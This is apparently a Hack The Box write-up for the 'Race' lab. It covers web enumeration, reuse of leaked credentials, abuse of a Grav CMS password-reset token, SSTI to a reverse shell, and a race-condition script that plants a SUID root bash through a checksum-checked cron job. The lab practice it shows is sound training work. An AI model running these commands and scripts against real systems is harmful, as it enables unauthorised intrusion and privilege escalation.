Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ nmap -sC -sV -Pn 10.129.234.209 -oN ./nmap.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-29 15:42 UTC
Nmap scan report for 10.129.234.209
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 62:b0:1e:c5:e8:81:5c:94:39:ed:37:7e:21:cf:b1:a8 (ECDSA)
|_ 256 37:a3:d3:cd:35:dc:cc:d8:db:3c:c3:4d:ad:22:29:a9 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.95 seconds
Page check
From the racers page, I did not find any links or
urls
. So I would continue to enumerate the valid web-contents
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ ffuf -u http://10.129.234.209/racers/FUZZ -w /usr/share/wordlists/dirb/common.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.209/racers/FUZZ
:: Wordlist : FUZZ: /usr/share/wordlists/dirb/common.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
.hta [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
.htpasswd [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
.htaccess [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 369ms]
[Status: 200, Size: 11411, Words: 1907, Lines: 141, Duration: 369ms]
admin [Status: 200, Size: 11357, Words: 3945, Lines: 129, Duration: 356ms]
assets [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 266ms]
backup [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 290ms]
bin [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 265ms]
cache [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 266ms]
cgi-bin/ [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 268ms]
forgot_password [Status: 200, Size: 8516, Words: 1799, Lines: 145, Duration: 1032ms]
home [Status: 200, Size: 11411, Words: 1907, Lines: 141, Duration: 307ms]
images [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 270ms]
login [Status: 200, Size: 10406, Words: 2918, Lines: 181, Duration: 815ms]
logs [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 294ms]
robots.txt [Status: 200, Size: 379, Words: 22, Lines: 22, Duration: 272ms]
system [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 269ms]
tmp [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 267ms]
user [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 343ms]
vendor [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 311ms]
:: Progress: [4614/4614] :: Job [1/1] :: 51 req/sec :: Duration: [0:01:32] :: Errors: 0 ::
I would start with robots.txt
User-agent: *
Disallow: /.github/
Disallow: /.phan/
Disallow: /assets/
Disallow: /backup/
Disallow: /bin/
Disallow: /cache/
Disallow: /logs/
Disallow: /system/
Disallow: /tests/
Disallow: /tmp/
Disallow: /user/
Disallow: /vendor/
Disallow: /webserver-configs/
Allow: /user/pages/
Allow: /user/themes/
Allow: /user/images/
Allow: /
Allow: *.css$
Allow: *.js$
Allow: /system/*.js$
Then I would check the /admin
and /login
I would try the default credit
admin:admin
, but it does not worked here.
After check other valid web contents, I did not find any path to access. So I guess there maybe something interesting from the root directory?
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ ffuf -u http://10.129.234.209/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.129.234.209/FUZZ
:: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________
server-status [Status: 403, Size: 279, Words: 20, Lines: 10, Duration: 265ms]
phpsysinfo [Status: 401, Size: 461, Words: 42, Lines: 15, Duration: 267ms]
phpsysinfo
When I visit the http://10.129.234.209/phpsysinfo
, it will need a credit to access. I still try the default credit admin:admin
, it worked here.
Then we can find something interesting from the process list below
That seems like a ssh credit
backup:Wedobackupswithsecur3password5.Noonecanhackus!
But it not worked here
┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Race]
└─$ netexec ssh 10.129.234.209 -u backup -p Wedobackupswithsecur3password5.Noonecanhackus!
SSH 10.129.234.209 22 10.129.234.209 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.234.209 22 10.129.234.209 [-] backup:Wedobackupswithsecur3password5.Noonecanhackus!
So come back to the /racers/admin
, there is a commit from this page said **Note:** Password length is 32 chars or longer to prevent online and offline brute-force attacks
The password we have got is actually 32 chars.
Use that credit, we successfully get access to backup account
From the Tools
label, we can backup the directory of entire site, but some files and directory will not be included
The directory looks like
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ ls
CHANGELOG.md LICENSE.txt assets cache default_site_backup--20250929135056.zip logs system vendor
CODE_OF_CONDUCT.md README.md backup composer.json images now.json tmp webserver-configs
CONTRIBUTING.md SECURITY.md bin composer.lock index.php robots.txt user
And it looks like similar with the repo
of Grav
The newest version is 1.7.49.5.
From system/defins.php
<?php
/**
* @package Grav\Core
*
* @copyright Copyright (c) 2015 - 2023 Trilby Media, LLC. All rights reserved.
* @license MIT License; see LICENSE file for details.
*/
// Some standard defines
define('GRAV', true);
define('GRAV_VERSION', '1.7.43');
define('GRAV_SCHEMA', '1.7.0_2020-11-20_1');
define('GRAV_TESTING', false);
We can find the version is 1.7.43
, and we can find some exploits with this version
CVE-2024-28116 - SSTI leading to RCE in versions up to 1.7.45.
CVE-2025-50286 - This doesn’t have a version range, This has to do with the ability to upload a malicious plugin and get RCE. For Race, we don't have access to this.
To exploit this vulnerable, we need to get an authenticated user.
As backup, we can't build HTML and other documents, so let's try to find the other account from the backup files.
Grav
stores data in files. The user information is in user/accounts
:
┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ ls
admin.yaml backup.yaml patrick.yaml
Let's check patrick.yaml
and admin.yaml
┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ cat patrick.yaml
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: { }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: '553e7719d2674ae2bfb29eb0aaa806d0::1701718773'
access:
site:
login: true
admin:
login: true
super: false
cache: false
configuration:
system: true
site: true
media: false
security: false
info: false
pages: false
users: false
pages: true
maintenance: true
themes: true
┌──(wither㉿localhost)-[~/…/Race/backup/user/accounts]
└─$ cat admin.yaml
state: enabled
email: admin@race.vl
fullname: 'Admin I. Strator'
title: Administrator
access:
admin:
login: true
super: true
site:
login: true
hashed_password: $2y$10$/e6nnqGJ6un4X6wKPpyeNecHf8wyZ.G//0Q7XhLLuQ15v7sEzKVzS
There’s not much sense in trying to crack the passwords because we have already seen the policy requires 32 characters.
Searching for /forget
in the code shows a few places:
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ grep -r '/forgot'
user/plugins/login/login.yaml:route_forgot: '/forgot_password' # Route for the forgot password process
user/plugins/login/templates/forgot.html.twig: {% include 'partials/forgot-form.html.twig' %}
user/plugins/login/login.php: $this->login->getRoute('forgot') ?: '/forgot_password',
user/plugins/login/README.md:route_forgot: '/forgot_password' # Route for the forgot password process
user/plugins/login/blueprints.yaml: placeholder: "/forgot_password"
user/plugins/admin/themes/grav/templates/partials/login-form.html.twig: <a class="button secondary" href="{{ admin_route('/forgot') }}"><i class="fa fa-exclamation-circle"></i> {{ 'PLUGIN_ADMIN.LOGIN_BTN_FORGOT'|t }}</a>
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php: return $this->createRedirectResponse('/forgot');
user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php
seems very interesting, let's review its source code
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ grep 'function' user/plugins/admin/classes/plugin/Controllers/Login/LoginController.php
public function displayLogin(): ResponseInterface
public function displayForgot(): ResponseInterface
public function displayReset(string $username = null, string $token = null): ResponseInterface
public function displayRegister(): ResponseInterface
public function displayUnauthorized(): ResponseInterface
public function taskLogin(): ResponseInterface
public function taskLogout(): ResponseInterface
public function taskTwofa(): ResponseInterface
public function taskReset(string $username = null, string $token = null): ResponseInterface
public function taskForgot(): ResponseInterface
public function taskRegister(): ResponseInterface
protected function is2FA(UserInterface $user): bool
protected function getFormSubmitMethod(string $name): callable
return static function(array $data, array $files) {};
return function(array $data, array $files) {
private function doRegistration(array $data, array $files): void
private function getLogin(): Login
private function getEmail(): Email
private function getAccounts(): UserCollectionInterface
taskset
receives the reset string and compares it to the content in the YAML
file. It does some initialization and then checks whether the passed user exists and that the reset value for that user is not empty.
/**
* Handle the reset password action.
*
* @param string|null $username
* @param string|null $token
* @return ResponseInterface
*/
public function taskReset(string $username = null, string $token = null): ResponseInterface
{
...[snip]...
$users = $this->getAccounts();
$username = $username ?? $data['username'] ?? null;
$token = $token ?? $data['token'] ?? null;
$user = $username ? $users->load($username) : null;
$password = $data['password'];
if ($user && $user->exists() && !empty($user->get('reset'))) {
...[snip]...
If there is a token, it will split it at "::", save the first part as the token itself, and the second part as the expiration time. If the submitted token matches the loaded token and the expiration time has not exceeded, the password is reset:
...[snip]...
[$good_token, $expire] = explode('::', $user->get('reset'));
if ($good_token === $token) {
if (time() > $expire) {
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_LINK_EXPIRED'), 'error');
$this->form->reset();
return $this->createRedirectResponse('/forgot');
}
// Set new password.
$login = $this->getLogin();
try {
$login->validateField('password1', $password);
} catch (\RuntimeException $e) {
$this->setMessage($this->translate($e->getMessage()), 'error');
return $this->createRedirectResponse("/reset/u/{$username}/{$token}");
}
$user->undef('hashed_password');
$user->undef('reset');
$user->update(['password' => $password]);
$user->save();
$this->form->reset();
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_PASSWORD_RESET'));
return $this->createRedirectResponse('/login');
}
Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: Token %s is not good', $token));
} else {
Admin::DEBUG && Admin::addDebugMessage(sprintf('Failed to reset password: User %s does not exist or has not requested reset', $username));
}
$this->setMessage($this->translate('PLUGIN_ADMIN.RESET_INVALID_LINK'), 'error');
$this->form->reset();
return $this->createRedirectResponse('/forgot');
}
This code handles the submission of the token. In the same file, I found the taskForgot
function, which is responsible for sending an email containing the token to the user:
/**
* Handle the email password recovery procedure.
*
* Sends email to the user.
*
* @return ResponseInterface
*/
public function taskForgot(): ResponseInterface
{
/**
* Handle the email password recovery procedure.
*
* Sends email to the user.
*
* @return ResponseInterface
*/
public function taskForgot(): ResponseInterface
{
...[snip]...
The token is a random MD5
, one hour after it was created:
$token = md5(uniqid(mt_rand(), true));
$expire = time() + 3600; // 1 hour
It then creates the $reset_link
:
// Do not trust username from the request.
$fullname = $user->fullname ?: $username;
$author = $config->get('site.author.name', '');
$sitename = $config->get('site.title', 'Website');
$reset_link = $this->getAbsoluteAdminUrl("/reset/u/{$username}/{$token}");
Our timestamp of our backup is from 2017, so we need to send the forget email firstly and then download the new backup file to check the forget link.
Then the new yaml
file would be
state: enabled
email: patrick@race.vl
fullname: 'Patrick P. Rick'
language: en
content_editor: default
twofa_enabled: false
twofa_secret: LW35AG7V4U4NLOBVU5P6NG35GP5YWJKT
avatar: { }
hashed_password: $2y$10$TWyPZQDqMZJJ/0pLdWUbY.TxVKVMHP3LzfUTo3BYWFRID7uXaoXcC
reset: 'a99f4e81f649478bb64373e16263ec2d::1759159108'
access:
site:
login: true
admin:
login: true
super: false
cache: false
configuration:
system: true
site: true
media: false
security: false
info: false
pages: false
users: false
pages: true
maintenance: true
themes: true
So the reset link would be /racers/admin/reset/u/patrick/a99f4e81f649478bb64373e16263ec2d
But we also need to make sure the new password is 32 chars, so I would continue to use the password of backup
patrick:Wedobackupswithsecur3password5.Noonecanhackus!
Then we can access to account patrick
Come to Pages
page, we can set the content to the POC
:
Then check the home page, you would find the feedback of
id
Now I would change the page into a reverse shell
Then you can get the reverse shell as www-data
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Race/backup]
└─$ nc -lnvp 443
listening on [any] 443 ...
connect to [10.10.14.12] from (UNKNOWN) [10.129.234.209] 60218
bash: cannot set terminal process group (1208): Inappropriate ioctl for device
bash: no job control in this shell
www-data@race:/var/www/html/racers$ whoami
whoami
www-data
www-data@race:/var/www/html/racers$
I would upgrade this shell here.
upgrade to PTY
python3 -c 'import pty;pty.spawn("bash")' or script /dev/null -c bash
^Z
stty raw -echo; fg
Switch to max
There are two accounts from /home
www-data@race:/var/www/html/racers$ ls /home
max patrick
Both home directories are world readable.
www-data@race:/var/www/html/racers$ ls -al /home
total 16
drwxr-xr-x 4 root root 4096 Dec 3 2023 .
drwxr-xr-x 19 root root 4096 Aug 27 10:47 ..
drwxr-xr-x 5 max max 4096 Dec 9 2023 max
drwxr-xr-x 5 patrick patrick 4096 Aug 26 23:05 patrick
www-data@race:/home/max$ ls
bin race-scripts user.txt
www-data@race:/home/max$ ls ../patrick/
The directory of patrick
is empty, but max would be next target.
www-data@race:/home/max$ ls -al
total 36
drwxr-xr-x 5 max max 4096 Dec 9 2023 .
drwxr-xr-x 4 root root 4096 Dec 3 2023 ..
lrwxrwxrwx 1 root root 9 Dec 3 2023 .bash_history -> /dev/null
-rw-r--r-- 1 max max 220 Jan 6 2022 .bash_logout
-rw-r--r-- 1 max max 3771 Jan 6 2022 .bashrc
drwx------ 2 max max 4096 Dec 3 2023 .cache
drwxrwxr-x 3 max max 4096 Dec 9 2023 .local
-rw-r--r-- 1 max max 807 Jan 6 2022 .profile
drwxrwxr-x 2 max max 4096 Dec 4 2023 bin
lrwxrwxrwx 1 max max 29 Dec 9 2023 race-scripts -> /usr/local/share/race-scripts
-rw-r----- 1 root max 33 Sep 29 05:41 user.txt
From /usr/local/share/race-scripts/offsite-backup.sh
, we can find the credit of max
www-data@race:/usr/local/share/race-scripts/backup$ cat offsite-backup.sh
#!/usr/bin/bash
OFFSITE_HOST="offsite-backup.race.vl"
SOURCE_DIR="/var/www/html/racers/backup/"
# Disabled USER/PASS for security reasons. Will be provided via environment from cron.
# OFFSITE_USER="max"
# OFFSITE_PASS="ruxai0GaemaS1Rah"
/usr/bin/curl --insecure --connect-timeout 60 -u $OFFSITE_USER:$OFFSITE_PASS -T $SOURCE_DIR sftp://$OFFSITE_HOST/backups/
We can just use su max
to switch the account
www-data@race:/usr/local/share/race-scripts/backup$ su max
Password:
max@race:/usr/local/share/race-scripts/backup$
Privilege escalation
Firstly, I would check sudo -l
max@race:~$ sudo -l
[sudo] password for max:
Sorry, user max may not run sudo on race.
There seems nothing interesting here, but max has an interesting group id
max@race:~$ id
uid=1001(max) gid=1001(max) groups=1001(max),1002(racers)
max@race:~$ find / -group racers 2>/dev/null
/usr/local/share/race-scripts
/usr/local/share/race-scripts/backup
/usr/local/share/race-scripts/backup/offsite-backup.sh
Now I would continue to upload pspy
to help us to check the process background
2025/09/29 14:48:58 CMD: UID=0 PID=15367 | /usr/bin/bash /usr/local/share/race-scripts/offsite-backup.sh
2025/09/29 14:48:58 CMD: UID=0 PID=15363 | /usr/bin/bash /usr/local/bin/secure-cron-runner.sh
2025/09/29 14:48:58 CMD: UID=0 PID=15362 | /bin/sh -c /usr/local/bin/secure-cron-runner.sh >/dev/null 2>/dev/null
2025/09/29 14:48:58 CMD: UID=0 PID=15361 | /usr/sbin/CRON -f -P
secure-cron-runner.sh
is pretty straight and easy
#!/usr/bin/bash
## If scripts need environment variables put them into below file
## so that no one can see them.
. /root/conf/secure-cron-runner.env
declare -a scripts
declare -a sigs
## 0 = offsite-backup by max
scripts[0]="/usr/local/share/race-scripts/offsite-backup.sh"
sigs[0]="d15804b944b40ca8540d37ed6bd80906"
## add other scripts below
# scripts[1]="<path-to-script>"
# sigs[1]="<md5sum>"
# scripts[2]="<path-to-script>"
# sigs[2]="<md5sum>"
elems=${#scripts[@]}
for (( j=0; j<${elems}; j++ )) ; do
sig=$(/usr/bin/md5sum ${scripts[$j]} | awk '{print $1}')
if [[ "x$sig" == "x${sigs[$j]}" ]] ; then
# echo "Script is safe. Running it." >> /var/log/secure-cron-runner.log
${scripts[$j]}
else
# echo "Script is not safe. Skipping it. Please contact patrick to update signature." >> /var/log/secure-cron-runner.log
:
fi
done
It hard code the MD5
hash of the script and checks it before running it. If it doesn't match, it won't run and will log an error instead.
Between the checksum check and script execution, it has time difference to change the offsite-backup.sh
Although we can't modify offsite-backup.sh
directly above, the racers group has been granted write permissions to the directory, so we can delete the script.
max@race:/usr/local/share/race-scripts$ rm offsite-backup.sh
rm: remove write-protected regular file 'offsite-backup.sh'? y
max@race:/usr/local/share/race-scripts$ cp backup/offsite-backup.sh .
max@race:/usr/local/share/race-scripts$ ls -la
total 16
drwxrwsr-x 3 root racers 4096 Dec 29 12:48 .
drwxr-xr-x 6 root root 4096 Dec 4 17:10 ..
drwxr-sr-x 2 root racers 4096 Dec 9 16:48 backup
-rwxr-xr-x 1 max racers 361 Dec 29 12:48 offsite-backup.sh
We can write a simple bash script to check if the cron
job is starting and quickly add some code to the script
#!/bin/bash
current_pid=$(ps aux | grep CRON | grep -v grep | awk '{print $2}')
echo "Current pid is $current_pid"
while true; do
if ps aux | grep 'CRON' | grep -v $current_pid | grep -v 'grep'; then
echo "cp /bin/bash /tmp/wither" >> /usr/local/share/race-scripts/offsite-backup.sh
echo "chmod u+s /tmp/wither" >> /usr/local/share/race-scripts/offsite-backup.sh
echo "DONE!"
break;
fi
done
Then we can get the root shell, sometimes it would not worked, please try more times
max@race:/usr/local/share/race-scripts$ bash ~/shell.sh
Current pid is 8516
root 11966 0.0 0.1 10340 4024 ? S 15:19 0:00 /usr/sbin/CRON -f -P
DONE!
max@race:/usr/local/share/race-scripts$ ls /tmp
snap-private-tmp systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-timedated.service-CESm0H
systemd-private-c6fd8a5d286a49da901fcc9af4727124-apache2.service-NCBtG2 systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-timesyncd.service-Mfi2bn
systemd-private-c6fd8a5d286a49da901fcc9af4727124-ModemManager.service-YpTGYk vmware-root_817-4281646601
systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-logind.service-6SE4FX wither
systemd-private-c6fd8a5d286a49da901fcc9af4727124-systemd-resolved.service-5b6mKI
max@race:/usr/local/share/race-scripts$ /tmp/wither -p
wither-5.1# id
uid=1001(max) gid=1001(max) euid=0(root) groups=1001(max),1002(racers)
Description
Overall, the use of the foothold is very interesting, especially the use of the forgotten password link is really unexpected. Without a certain reading of the code, it is difficult to guess that the email to change the password will be resent.